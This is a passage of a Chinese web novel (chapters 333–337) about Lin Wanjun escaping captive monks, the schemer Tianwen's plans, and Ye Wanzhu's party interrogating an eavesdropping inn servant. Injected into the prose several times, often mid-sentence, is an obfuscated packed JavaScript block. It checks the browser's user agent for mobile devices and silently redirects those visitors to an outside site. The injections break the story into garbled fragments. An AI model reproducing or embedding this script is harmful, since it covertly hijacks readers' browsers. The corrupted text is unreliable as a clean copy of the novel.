“这点雕虫小技,就想逃跑?” 身后冷冰冰的声音传来,正是方才那个和尚,林婉君咽了咽口水,又用力眨眼,努力让视线先变得清晰。 “你是什么人?”她挣扎着,“为什么要杀了黄家人?我,我是证人,一旦官府发现,你就完蛋了!” 听着她这前言不搭后语的威胁,静颜和尚也只是淡淡地笑了一声,手上的动作不曾有半分停歇。 “在我完蛋之前,你还是先操心操心你自己吧。” 他看似身材文弱颀长,力气却一点儿都不小,任凭林婉君如何拼命挣扎,甚至连师傅教授的招数都用上了,也没能撼动静颜的动作半分。 “还有点本事。”他察觉到林婉君的武艺,还有功夫低声调侃。 咬紧嘴唇,林婉君心思急转,却无可奈何,只能眼睁睁地被拖进茶楼后院里的另外一间屋子。 安乐茶楼是叶晚竹设在万源的据点,黄良才时常在这里处理中转的消息,茶楼后院的房间一应俱全,比黄家还有生活气息。 林婉君被拖进黄良才休息的卧房里,那两个武僧不知道什么时候已经到了,见状,一个人关门,一个人拿绳子,不出片刻便把她五花大绑起来。 “你是什么人,老实交代!”武僧之一气势汹汹地叉着腰,双眼怒瞪林婉君。 方才,差点儿就中了这女人的奸计! “你们又是什么人?” 林婉君皱着眉头,分明浑身都在哆嗦,却还是咬紧牙关,不愿意多泄露一分恐惧。 事已至此,她恐怕也难逃一劫,不过,在此之前,却也不能让这帮凶徒得逞! “嘿,臭娘儿们!” 见她梗着脖子,态度也不算好,那武僧越发瞪起双眼,扬手就是一记重重的耳光,狠狠摔在林婉君脸上! “老实交代,不然的话,有你好果子吃!” 被这一巴掌打得眼前又开始冒金星,林婉君的脑袋偏向一侧,余光中,看到方才那个来抓自己的和尚的一片衣角。 分明是个出家人,可做起挑拨离间,**放火的这种事来,却分外熟练。 “你还不说,是想吃点苦头,是不是啊?” 动手的那个武僧没有半分耐心,没等了多久就忍不住了,又大步走上前来,一把扯住了林婉君的衣领。 他动作粗鲁,这一下便将林婉君身上依旧轻薄的衣衫扯开了大半。 布帛撕裂声传来,这个武僧的眼神也变了变,直直朝着下方看去。 “戒空。” 静颜和尚的声音从另一侧立刻响起,这叫戒空的武僧身子一滞,皱了皱眉,最终还是移开了目光。 “说!”看着林婉君的脸,戒空的火气明显更大了,“再不交代就要你的命!” 林婉君不着痕迹地从静颜和尚的方向收回了目光。 再抬头看向戒空的时候,她眉头一蹙,表情也变得讥诮起来。 “好啊,我可以说,不过,希望你听完之后不要后悔。” 这话说得奇怪,眼前女人突然变化的模样更奇怪,饶是戒空正努力分出一半的心神默念六根清净,这会儿也忍不住有些走神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079858|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林婉君可不给他走神的机会。 “你是不是想问,我到这儿来干什么?” “当然是好不容易才找到了你的好主子,想问问他,为什么对我始乱终弃,为什么抛下我们母子,莫名其妙地跑去当和尚了?” 戒空:?? 他听到了什么? “你在胡说八道什么?” 静颜和尚的眉头也皱了起来,目光从和林婉君相反的方向移了回来,表情严肃得好像随时都要**。 林婉君依然在笑,笑得讽刺又悲凉。 “是啊,反正没人会相信,这两个也是你的人,你想怎么说就怎么说好了。” “不过,你上次离开之前,还信誓旦旦地说除了你,别人谁碰我都要砍了他的狗爪子,这话应该也不奏效了吧?” “男人的嘴,骗人的鬼,你连和尚都能当,今天的事情,对你来说应该也不算什么。” “你,住口!”静颜和尚眉头紧皱,脸上竟然浮现出了一抹酡红。 “我都要**,还管什么住不住口?” 林婉君又仰天大笑,不仅没有住口,说话的时候语速还更快了。 “我死就死吧,反正你这个假和尚无所谓了,可威威是你儿子,他身上流着你的血,你要是还有一丝半点的良心,就去王都把他接走,让我想想,就去跟你当小和尚吧,别告诉他他的真实身世,免得他哪天说漏了嘴,落得个跟他这个倒霉的娘亲一个下场——” “住口,住口!” 被林婉君的一连串托孤惊呆了,直到一口气听到他那素未谋面,也从没可能出生的儿子也要死在自己手里,静颜和尚这才回过神来,忍不住沉声怒喝! “休得污蔑我!” 这都是什么乱七八糟的东西! 静颜和尚又往后退了半步。 “我知道了。”林婉君看着他的模样,又适时地露出一个恍然大悟的冷笑。 “你其实已经在想要怎么灭了我们母子俩的口是吧,那就动手吧,杀了我,就现在!” 第三百三十三章 为师是故意的 杀了她,还就现在? 静颜感到一阵气血上涌,本就热意浮现的脸颊这会儿更是烧了起来,不知道是被气的,还是被羞的。 他从小便跟在天问大师身边,纵然这佛门不是真佛门,可该有的东西却一样不少。 吃斋念经就算从不用走心,也没人会检查他的功课,这么多年下来,静颜还是学到了不少东西的。 更别说他们身边从来没有什么女人出没了。 可眼下,这女子却在如此不要脸地大放厥词! 她都求着自己杀了她,为什么不呢? 静颜和尚的巴掌都已经抬了起来,下一刻,却硬生生地又止住了。 现在杀了这该死的女人,岂不是等于坐实了她刚刚所说的一切? 不行。 神色不虞地放下手,静颜盯着林婉君,正要开口、 “你不杀我?” 林婉君眨了眨眼,忽然喜极而泣。 “我就知道,你心里有我!不然的话,你也不会让我把我们的儿子生下来,对不对?” 静颜刚刚才勉强压下去的那口怒气,顿时又成百上千倍地顶了上来! 欺人太甚! “你,你不知道什么是廉耻吗?” 年轻的和尚顶着满脸艳色朝林婉君问话,一身戾气也被这幅模样削减了五六分。 林婉君心道这话你也好意思问得出口,一面又摆出一副遭到重创,心如死灰的模样。 “原来你只是不愿意承担责任……” 她轻笑一声,又抬头看着那戒空武僧。 “对不起,刚才我说的一切都是假的,是我为了活命,临时编造出来的。” 戒空和一旁的另一个武僧戒嗔正目瞪口呆地看着眼前发生的一切,这会儿听到林婉君的话,一个两个转动脑袋的动作都显得有些吃力。 转动大脑思考的本事更是如此。 这话,他们能信吗? “你们是他师父派来照顾他的吧?”林婉君还在说着,“真是对不起啊,我不认识这个和尚,和他也没有半点关系,王都里没有他的儿子,你们千万别相信我。” 她的表情更加诚恳,戒空戒嗔却一起沉默下去,又连连用眼睛朝静颜身上看。 说起来,这位得天问大师的青眼,想去什么地方向来随便得很,连一声招呼都不用打的。 他们毕竟也不是真的和尚,就算静颜当真做过什么,那也无所谓。 “你们,你们相信她?” 看着这两个武僧的眼神,静颜明白过来,却有些不敢相信。 这女人的胡说八道已经到了登峰造极的地步,戒空和戒嗔居然真的被她带跑了? “你们——混账!”天问大师唯一的爱徒蓦地发起了脾气。 “小的不敢!”戒空和戒嗔连忙躬身垂头。 “他脾气大得很,你们快哄哄啊。”林婉君在一旁煽风点火。 戒空戒嗔:…… 放过他们吧! 他们这到底是干什么来了? “要不你解开绳子,我来哄你?”林婉君这时候又朝着静颜看了过去。 静颜和尚的脸色黑的吓人,沉默不语地大步走上前来,抬手就往林婉君的脖子上掐! 认下这个抛妻弃子的劳什子罪名他也忍了,他现在就要把这个该死的女人掐死! 不然的话,谁知道从她这张嘴里,还能说出什么惊世骇俗的东西? 柔嫩的脖子被他一把握在手中,林婉君顺从地仰起头,直勾勾地望着眼前的这张脸,眼底竟然有泪光闪现。 “我死就**,只是不甘心,竟然是你要亲手掐死我……” 她流着眼泪闭了闭眼,“动手吧!” 静颜和尚按在她喉骨上的手指,忽然就有了一瞬的停顿。 下一刻,他眼前一晃,身下一痛,猝不及防地闷哼出声! “小秃子,不算我白费口舌!” 林婉君不知道什么时候已经解开了手腕上的麻绳,她轻笑一声,手腕一翻,又是一片麻药朝着戒空和戒嗔撒了过去! 她做的是这么危险的事情,怎么可能只有一招逃命的本事? 戒空戒嗔显然都没有将林婉君这个看似弱不禁风的女子放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079859|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里,毫无防备,一人吸了一口麻药,身子都软软地朝着地上倒了下去。 静颜眉头紧皱,忍着下身的疼痛要追,却又被林婉君第二脚重重地踢在了同一个地方! “反正你也是个和尚,这东西,留着也没用。” 隔着迷烟,林婉君朝静颜挑了挑眉,随即毫不犹豫地转身就跑! 静颜定了定神才起身追赶,可惜他脚步虚浮,步伐踉跄,到底还是慢了几步,只能眼睁睁地看着那女子三两下跃上墙头,消失得无影无踪。 安乐茶楼外的街上响起马车声,沿着空荡荡的大街越走越远。 静颜脸色阴郁,身下的疼痛还在继续,他攥紧了拳头,迈开自己这会儿能做到的最大步伐,果断地朝着那马车离开的方向走去。 他身形踉跄,刚走到院落中庭,便见半空中黑影一闪,一个熟悉无比的人仿佛凭空出现。 “师父!” 静颜猛地吸了一口气,脚下的动作想变成小跑,却心有余而力不足。 天问大师无声无息地降落在院中空地上,快步朝静颜走来,抬手扶住了他的胳膊。 “师父!” 顾不上嘘寒问暖的礼节,也顾不上屋里屋外的混乱景象,静颜急急抬手回握住天问大师的胳膊。 “刚才那个马车里的是叶晚竹的人!她还有后援,不能让他们跑了——” 他还没说完的话中断在天问大师轻轻捏住自己胳膊的动作上。 “黄良才一家的事情,都解决好了?” 温声问着话,天问大师的脸上挂着淡淡的,春风和煦的微笑,是他面对自己这个徒弟的时候,最惯常会用的表情。 静颜愣了一下,点了点头,却不明就里。 “师父,那女子——” “那女子是从墙头翻出去的,接应她的马车早就等在院外,一切都是安排好的。”天问大师的语气还是从容不迫。 “您看见了?”静颜这下更是不解,“那您怎么,怎么——” “怎么不拦住他们?”天问大师又笑了笑。、 “因为为师是故意的。” 第三百三十四章 到时候你就知道了 故意要把叶晚竹的手下放跑? 还是在这种时候? 静颜和尚的表情肉眼可见地疑惑了起来。 “师父,”他试图重新开口,“那女子看见了今天晚上在这里发生的事情,她一定会告诉叶晚竹的!” “这不就正好了吗?” 天问大师掀起眼皮,要笑不笑地看着他。 “自己的手下出了事,以我们这位大梁威远王的性格,应该不会视而不见的吧?” 在师父从容不迫的问话声中,静颜总算是冷静下来,找到了一点该有的头绪。 “您要守株待兔?” 看着天问大师点头的动作,静颜却又不解,“可是,可是您不是要去云海泊吗?” “随机应变,才是取胜之道。” 天问大师轻笑一声,忽然抬起眼皮,朝着书房看了过去。 “静颜,这个道理,为师以为你早就融会贯通了。” 心里这会儿还是一团乱麻,静颜习惯性地顺着天问大师的动作转过头,盯着黄家三人的尸体看了好几眼,这才反应过来。 “是徒儿擅作主张,”他抿了抿唇,“可徒儿是当真气不过——” “诶。” 天问大师又用了点力气,捏了捏静颜的胳膊,再次止住了他的话。 “为师并没有怪罪你的意思,”他眉眼含笑,“况且,你这件事做的很好,有了尸体,才更有了让叶晚竹前来的动力。” 静颜垂下眸子,片刻后还是不解地又抬了起来。 “您上次还说,要隐秘行事,避其锋芒,怎么现在又……徒儿实在不解。” 就算是要随机应变,也没必要变得这么快吧? 不知道是不是自己的错觉,静颜这一句话问出了口,总觉得眼前天问大师身上忽然多出了几分冷意。 又等了片刻,天问大师还没有要开口的意思,静颜便知道这不是自己误会了。 “师父?”他扶住天问大师的胳膊,小心翼翼地朝着他面上看了过去。 方才还一脸笑意的天问大师这会儿表情全都淡了下去,眉头也微微蹙起。 “南麟称病罢朝,把王都里的所有事务,都交给八岁的侄子打理去了。” 南麟,南疆王的大名。 “怎么会?” 闻言,静颜和尚吃了一惊,忍不住开口,“他不是一直在我们的掌管之下吗?” 天问大师淡淡地看了他一眼,没说话,静颜的表情也变得凝重起来。 “**什么时候就恢复了神智,将派往大梁的那些兵马,全都换成了自己的蛊兵。” 天问大师语气不善,“要不然,我也不至于败得如此之惨。” 有些话,就算是在密信里也不好说,是以静颜只知道他们在大梁的安排失败了,却从来没想到,竟然会是这样的原因! 他张了张嘴,有心想问更多,看着天问大师因为说起这件事而越发冷淡的脸色,又果断地闭上了嘴。 遭遇如此大败,还被背后捅了一刀,对师父来说,一定是个不小的打击。 “我从大梁逃走的消息,肯定是已经传到南麟耳中了。” 天问大师也没有要多说这场失败的对决的意思,又继续捡起刚才的话头。 “他知道恢复神智这件事瞒不住,也知道被我找到,他必死无疑,我想,这位一国之君,这个时候应该已经找了个好地方,把自己严严实实地藏起来了。” “你说,这个时候,如果南麟听说叶晚竹往南疆而来,面对这个敌人的敌人,他是会愤起动手,还是和叶晚竹暂时握手言和呢?” 静颜连想都不用想,只要南疆王不是个傻子,就不会在这种时候去和叶晚竹过不去。 集大梁和南疆两国之力讨伐,他们的日子想来会过得十分艰难。 “徒儿愿为师父助一臂之力!” 静颜和尚眉头紧皱,眼底这会儿又涌出了怒火,显然是对着南疆王的。 “不,我还有更重要的事情要你去做。” 天问大师摆了摆手,对南疆王脱离控制的怒意很快被尽数掩去,笑容又回到了他的脸上。 见状,静颜也深吸一口气,努力恢复平静,“请师父吩咐!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079860|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “今夜城门处的值守已经被我放开,方才那女子的马车会顺利离开万源,如果一切足够顺利,最多三天,他们就能和叶晚竹的车队相遇。” 静颜听着没说话,他师父这样说,那就是想尽一切办法,也会让双方在三天之内相见的意思。 “叶晚竹一定会尽快赶到万源,参与对安乐茶楼命案的调查,”天问大师继续说着,语调不紧不慢,“你留在这里,和她接触,一定要获得她的信任——怎么了?” 见徒弟表情有异,眼神也控制不住地来回飘忽着,天问大师不由得中断了自己的安排。 “没,没什么!” 脸颊的热意又烧了起来,方才在屋中那女子的话也出现在脑海当中,静颜和尚清了清嗓子,强行压下心绪。 “师父,那叶晚竹警惕得很,徒儿又是僧人装扮,想来她肯定对我防备得很。” 经过这么多事情之后,静颜扪心自问,如果是他,他肯定对所有和尚都敬而远之。 听着他这话,天问大师却忽然笑了一下。 不是他惯常那种笑容,而是仿佛想到了什么令人心生愉悦的事情。 这在心思深沉的师父身上并不多见,甚至可以说是从未有过,静颜不由得多看了两眼。 这个时候,天问大师的目光也落到了他的脸上,眼底的笑意更加深邃了几分。 “这个嘛……到了那个时候,你就知道了,不必太过担忧。” 是师父已经给他提前安排好了办法? 理智告诉静颜应该是这样,可看着天问大师的模样,他又觉得好像并非如此。 “好了,去吧。” 天问大师一边说着话,一边抬起手,不轻不重地在静颜脸上摸了一下,这才转身离开。 他没再说什么,像来时一样,很快便又无声无息地消失在漆黑的夜空之中。 静颜和尚望着他离开的方向,也忍不住抬手在自己脸上摸了一下。 这是……什么意思? 七天之后,一行车队缓缓驶入万源城中。 “夫人,老爷,咱们到了。” 第三百三十五章 小二偷听,不太正常 赶着第一批进城的队伍,叶晚竹一行人在清晨进入了万源。 三辆马车在客栈门前停下,小二听见声音,连忙出来迎接。 下人们走下马车之后,第一个出来的主子是位夫人,一身简单衣裙,头发也高高挽起,面上未施粉黛,似乎是连日赶路,瞧着有几分疲累。 她从车上一跃而下,小二伸长了手也没扶到,站在几步开外的地方不觉讪讪。 “几位舟车劳顿辛苦了,小的来吧!”他又再次朝着车厢伸出手去。 这回他的胳膊却被这家一个侍卫模样的年轻男人按住了。 “不用了,我们爷摔断了脚,不能走路,你扶不动他。” 年轻男人客气地笑了一下,手上的力气却重得让小二连昨天的瞌睡都醒了过来! 这人哪儿来的这么大力气? 等胳膊被放开,小二咝咝倒吸着冷气,一边又瞪大了双眼。 只见这年轻的侍卫探身进到车厢中,双手用力,就把里面的人端了出来! 说是端,是因为那车里的公子还坐在另外一把软轿上,软轿里厚厚地垫着几层软垫,一看就重量不轻。 那公子瞧着也身高腿长,就是气色不好,恹恹地靠在垫子上,被阳光照得眉头紧皱,连眼睛也睁不开。 侍卫就这么连人带软轿地端在手中,转过身,又朝着已经看傻了眼的小二假笑了一下。 “你的眼色什么时候能回来?不会根本没有吧?” 没看他在这儿出力气吗? 小二打了个激灵,连忙回过神,又一迭声地答应着。 “有的有的!您几位里面请!” “你们的上房在什么地方?找个清净的院子,我们全包了。” 那位夫人这时候又走上前来,从荷包里取出一个不大不小的金元宝,塞进小二手中。 “够了吧?” “够了,够了!” 小二一跃而起,忙不迭地去替他们的大主顾收拾房间。 两炷香之后,一行人住进了单独的小院里,把院门关上,这才舒了口气。 “我说,你就非得坐这个东西吗?” 叶晚竹走进屋中的时候,岑灵川的质问声又一次响了起来。 “你这把轿子有多重,你自己心里不知道吗?” “老爷我全身都疼,你要是不相信,不如亲身体验一下。” 谢无咎含笑的声音跟着传来,丝毫听不出正全身都疼的意思。 叶晚竹面上的情绪却淡了淡。 约莫三个月前,把京城的一切都交给倪宰相等人,叶晚竹一行人便重新踏上了前往南疆的路。 谢无咎的情况一直不好,不知道是不是在和天问大师的那场对决中受了什么暗伤,他的身体反反复复高烧,却查不出任何原因,连带着整个人的精神也萎靡了下去。 除此之外,他吐血的频率也开始增加。 赶路时一路同行,谢无咎的异状瞒不过叶晚竹的眼睛,先前在安王别院中被强行瞒住的那一次,也在岑灵川的告密下泄露出来。 虽然谢无咎说他一切都好,可他越发委顿的模样却骗不了人。 屋里两人还在斗嘴,叶晚竹无声地叹了口气,大步走进去的时候,正听到谢无咎老神在在地扮演着老爷的角色。 “你这无赖小厮,帮老爷抬轿子也敢抱怨,拉下去,重打三百大板!” 岑灵川和他大概是八字不合,已经吵了一路,也不差这点儿功夫,闻言冷冷地抱着双臂看他。 “哟,那老爷你可得准备好,三百大板之后,小的就成人干了,到时候出来进去的,您就得自己爬着了。” 谢无咎笑意盈盈的。 “谁说老爷我一次就要打你三百大板?一次打两板,半年够让你长记性了。” 岑灵川磨牙,“不愧是——”东厂总都督! 打个板子都能如此花样百出! 不过,已经到了南疆的地界上,为免隔墙有耳,他还是没把后半句话说出来。 “师妹来了。” 深吸一口气,岑灵川果断转头,权当床上的九千岁不存在。 “啊,夫人,”谢无咎却还不肯出戏,“你来得正好,你这走后门的远房亲戚实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087805|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不晓事,为夫打不动,还请夫人代劳吧。” “呵!” 叶晚竹还没说话,岑灵川就冷笑着挽起了袖子。 “我还是现在就打死你这没大没小的!” “夫人,这可不是我的问题……” 两人你一言我一语,时不时还能听到叶晚竹无奈的劝和声,听上去,似乎真是一对夫妻和身边的无良侍卫。 “……难道是我找错了?” 皱着眉头,耳朵紧紧贴在后墙上,听着里面传来的动静,小二忍不住自言自语。 他都在这儿听了一炷香的时间了,这里面的人除了插科打诨,就是胡说八道,没有一句是有用的消息。 小二垂下眸子,一边掰着指头,一边仔细回忆。 带伤的男人,寡言的夫人,嘴碎的侍卫,还有几个基本不现身的下人,都是来自大梁京城的。 这院子里的人,每个都能对应上啊? 那他们怎么不着急干正经事? “——行了,闲言碎语不要讲,该干正经事了。” 那不着调的年轻侍卫忽然道出这么一句,小二闻言一愣,忍不住摸了摸自己的嘴角。 难道他这张嘴竟然有言出法随的本事? 屋中的声音继续传来,小二顿时又顾不上胡思乱想了,重新**精神,把耳朵贴在墙上。 这个时候,带伤老爷的声音缓缓响起,听着比刚才正经了不少。 “没想到这万源城中竟然如此风平浪静,反常必有妖,那秃驴肯定在什么地方,暗中等着我们出现,再自投罗网。” “不错。” 夫人的声音也跟着传来,冷冷清清的,听不出什么情绪。 “一路制造了那么多动静,就是为了把我们引到这里,说他没有图谋,我也不会相信。” “不过……”她忽然话锋一转,“说到这儿,我倒是想到,有一件事情,似乎有些异常。” “是什么?” “一个客栈的普通小二,居然会偷听住店客人的谈话,还是给了金子的大主顾,实在是让人觉得不太正常。” 第三百三十六章 谁让你来的? 小二浑身一凉,转头就跑! “想去哪儿啊?” 笑眯眯但带着狠戾的声音从背后传来,小二迈出去的脚还没落地,人却已经先一步被带上了半空,再正面朝下,重重地摔了下去! “诶呦!” 全身的骨头好像都断成两截了,小二眼前一黑,想晕过去,却又被人拎着后脖颈再次抓了起来。 “进来说话吧。” 屋中优哉游哉的声音传来,小二眼冒金星,手脚发软,一直到在地上跪坐了半晌,这才慢慢地回过神来。 他抬起头,面前是那一对夫妻,面上似笑非笑的表情如出一辙。 转过脑袋,年轻的侍卫阴沉沉地咧着嘴,手指在颈间一划,做了个**灭口的动作。 “小的错了!小的猪油蒙了心!”小二的双腿顿时失去了知觉,扑通一声倒在地上,大声求饶。 “还会这句,你是大梁人?” 看着地上烂泥一样的人,谢无咎轻笑一声,语气漫不经心地问道。 他好听的声音传到小二的耳中,却好似惊雷一般。 哆嗦得更加厉害了,小二连说话的本事都没有,只能战战兢兢地点了点头。 他这会儿感觉自己全身好像都被冻住了一样! “你是大梁人,那怎么跑到万源来当小二?”叶晚竹也跟着开口,“谁让你来的?” 小二顿时又感觉背后的凉意更重了,冷汗层层,没完没了地往下流。 这次的问题就不是点头或者摇头能办到的了,他用力咽了咽口水,这才又哆嗦着道,“是,是个男人……啊!” 一句话还没说完,岑灵川抱着胳膊冷哼一声,飞起一脚踹在这小二的屁股上! “你怎么不干脆说找你的是个人,不是鬼呢?” 上上下下打量着小二面如死灰,抖若筛糠的模样,岑灵川皱着眉头恐吓,“老实点!重新说!” 小二又往地上滑了几寸,双手用力撑住地面,语气都带上了哽咽。 “我说我说!” “三天前,客栈刚打烊,有个客人忽然找到我,给了我一锭金子,让我这几天留意一行客人,就,就差不多是你们这样的……” “那个人说,只要发现你们出现,就立刻让人去通知他,只要事情办得好,结束之后,他还会再给我一锭金子。” 说到这儿,小二忽然一哽,抬起眼睛朝着上座两位扫了过去,表情写满心虚。 叶晚竹看着他不打自招的模样,嘴角嘲讽的笑意也更深了。 “既然如此,那你在这儿偷听,是要干什么?这好像和对方布置给你的任务不太一样吧?” 小二缩了缩脖子,讪讪地笑着不说话。 用两锭金子买一个消息,证明肯定非常重要啊! 他也想先听一听,万一听到什么劲爆的东西,说不定,他还能靠这个再赚更多的钱呢? “贪心不足。” 又冷笑了一声,岑灵川给这小二的另外半边屁股也补了一脚。 “让你这么做的人长得是什么样子,你还记得吗?”谢无咎这时候慢悠悠地抛出了下一个问题。 小二被方才那一脚踢了个嘴啃泥,倒在地上费了好半天功夫才找回神智,晕头转向地又想了一会儿,才胆怯地朝着谢无咎看了一眼。 “那人穿着一身黑衣裳,带着兜帽,小的,小的没看见他的脸……” 谢无咎闻言也不恼,不紧不慢地又换了个姿势。 “哦,那他身上是不是有一种看似和蔼可亲,实则阴险狡诈的气质?” 小二把一双眼睛睁得老大,瞠目结舌地看着他。 这位怎么知道? 打探消息的双方互相都知道对方的底细,小二转了转眼珠子,忽然倒吸一口冷气! 难道—— “猜对咯。” 岑灵川又挂上了熟悉的狞笑,一把抓住小二的肩膀,拎着他举到自己面前。 小二不如他高大,脚尖都碰不到地面,还不敢挣扎,一张脸很快就憋得通红。 他张了张嘴想说话,却没发出声音来。 岑灵川也不想听他要说什么,又把自己那张脸往前凑了凑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087806|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“实话跟你说吧,买通你的那个——那个孙子,和我家老爷有宿仇,我们家老爷这条腿就是拜他所赐。” “我们这次前来,就是打算寻仇的,你也听出来了吧,我们都是大梁人,在大梁不好买凶**,容易落人话柄,可到了南疆,那就没有什么可忌惮的了,我这样说,你能明白吗?” 小二看着岑灵川那张近在咫尺的脸,咽口水的动作变得更加用力了几分。 他惯会迎来送往,识人的本事学了不少,眼前这一行客人非富即贵,身份一定很不一样。 虽然这嘴碎的侍卫听不出是哪里的口音,但老爷和夫人的京城话都说得地道,再结合刚才那话,一个答案已经在小二脑袋里呼之欲出。 这位老爷,肯定是京城的大官大商之流,而先前那个找他帮忙的客人,一身黑衣故意遮挡了身份,就说明他不想被人认出来。 这说明什么? 说明先前那位,没眼前的这一行厉害! 那他被抓了个正着…… 小二的身子又哆嗦起来,恐惧后悔之情溢于言表。 岑灵川的笑容也变得更加阴恻恻的。 “你帮着那孙子,泄露我们老爷的行踪,那就是他的同犯!现在好了,我们刚到南疆就被那孙子发现,暂时抓不住他,我看,那就只能——” 只能抓你了! 自动帮岑灵川补全了后半句话,小二的身子哆嗦得好像被雷劈过,嘴上却忙不迭地大喊,“我没说!我还没说!” 他想从中得利,自己先听听院子里的人说话,所以留了个心眼,还没去通风报信! 心惊胆战地抓住这唯一一根救命稻草,小二的眼泪鼻涕齐齐而下,话都说不利索。 “我错了,但我还什么都没做呢,求求老爷,求求你们饶我一命!那个人给的金子,我,我上交!还有刚才夫人给我的金子,我也还给你们,别杀我,我,我不想死啊!” 岑灵川嫌弃他脏,撒手又将这小二丢到了地上,叶晚竹走上前来,用脚尖踩住了他的手指。 “那人让你怎么给他通风报信?” 第三百三十七章 夜黑风高,偷偷出动 小二耷拉着脑袋,垂头丧气地把那人留下的办法说了出来,又抬起脑袋,用充满希望的目光在叶晚竹和谢无咎身上来回打转。 至于岑灵川……不敢看,不看为好! “不看我,你看不起我?” 他不看也不行,岑灵川又一把扯住了小二的脖子,用力将他拽向自己。 “怎么,觉得我说话不好使?”他龇牙咧嘴地问着。 小二欲哭无泪! 你一个侍卫,说话能好使到什么地方去? 可这话他也万万是不敢说出来的。 这个屋子里,谁都能踩他一脚! “好了。” 卡着那小二快要被为难得晕过去的时间点,谢无咎大发慈悲地开了口,让岑灵川退后。 他自己探着身子上前,小二刚呼出去的一口气,就这么又哽在了喉头。 “我问你,接下来该怎么做,你心里有数吗?” 谢无咎仍是笑着,可小二在他面前却越发感到浑身上下都在控制不住地发着抖。 “有,有……吧?”他小心翼翼地抬着眼皮。 “那你说说。”谢无咎靠着软轿,好整以暇地看着他。 一股莫大的压力山一样地朝着小二袭来。 “我,小的,小的就当几位没来过,也不会给对方报信的!”他一脸真诚。 谢无咎却摇了摇头。 “错了。” 他语气遗憾,听得小二背后猛地窜上一阵凉意! 答错了,那,那他要遭到什么惩罚? 身子一软,小二没了岑灵川这个助力,扑通一声摔倒在地。 “废物点心一个!” 岑灵川骂骂咧咧地把他又揪起来,叶晚竹伸手接过这小二抖得像筛子一样的身子,抬手在他脸上轻拍了几下。 “你要如实把这里的情况都告诉那个客人,一句也不能隐瞒,听到了没有?” 这是什么要求? 自己出卖自己? 小二的眼神先是惊悚,等在叶晚竹身上落了片刻,忽然又带上了一点不同寻常的意味。 难道这位夫人并不是和老爷同一条心—— “嗷!” 后脑勺传来一阵剧痛,小二嗷地一嗓子哀嚎出声,叶晚竹不紧不慢地放下了自己空着的那只手。 “以你的脑子,最好还是不要思考比较好。”她露出一个假模假样的笑容。 那模样十分不友好,小二彻底把脖子缩了起来,垂着眼皮不敢出声了。 这一家人,一个比一个可怕! 不料,小二这一低头,却又和谢无咎撞上了视线! 他身上的冷汗再次汩汩而下! “我夫人刚才说的话,你听见了吗?”谢无咎挑了挑眉。 他夫人刚才说什么来着? 对了,要把方才的一切原原本本地告诉那位客人! 小二仍是一头雾水,但也不想再弄明白了,稀里糊涂,却态度坚决地点了点头! “小的这就照办!” 他不想再被这对夫妻折磨了,他们怎么说,自己就怎么做好了! 叶晚竹却还有后话。 “等你把这边的情况告诉那位客人,记得把他给你的要求,再传回来。” 这是让他两头吃啊? 小二终于明白过来,下意识地想拒绝,眼神从三张不善的脸上缓缓滑过,想说的话又全都被咽回了肚子里去。 拒绝? 他有这个资格吗? 最终小二只能视死如归地把叶晚竹的要求全部应下,这才离开了小院,走的时候两条腿软得活像烂泥,自己都不知道是怎么挪动的脚步。 “他行吗?” 望着被小二关上的院门,岑灵川啧了一声。 “无所谓,”谢无咎的语气很淡,“只是个障眼法而已。” 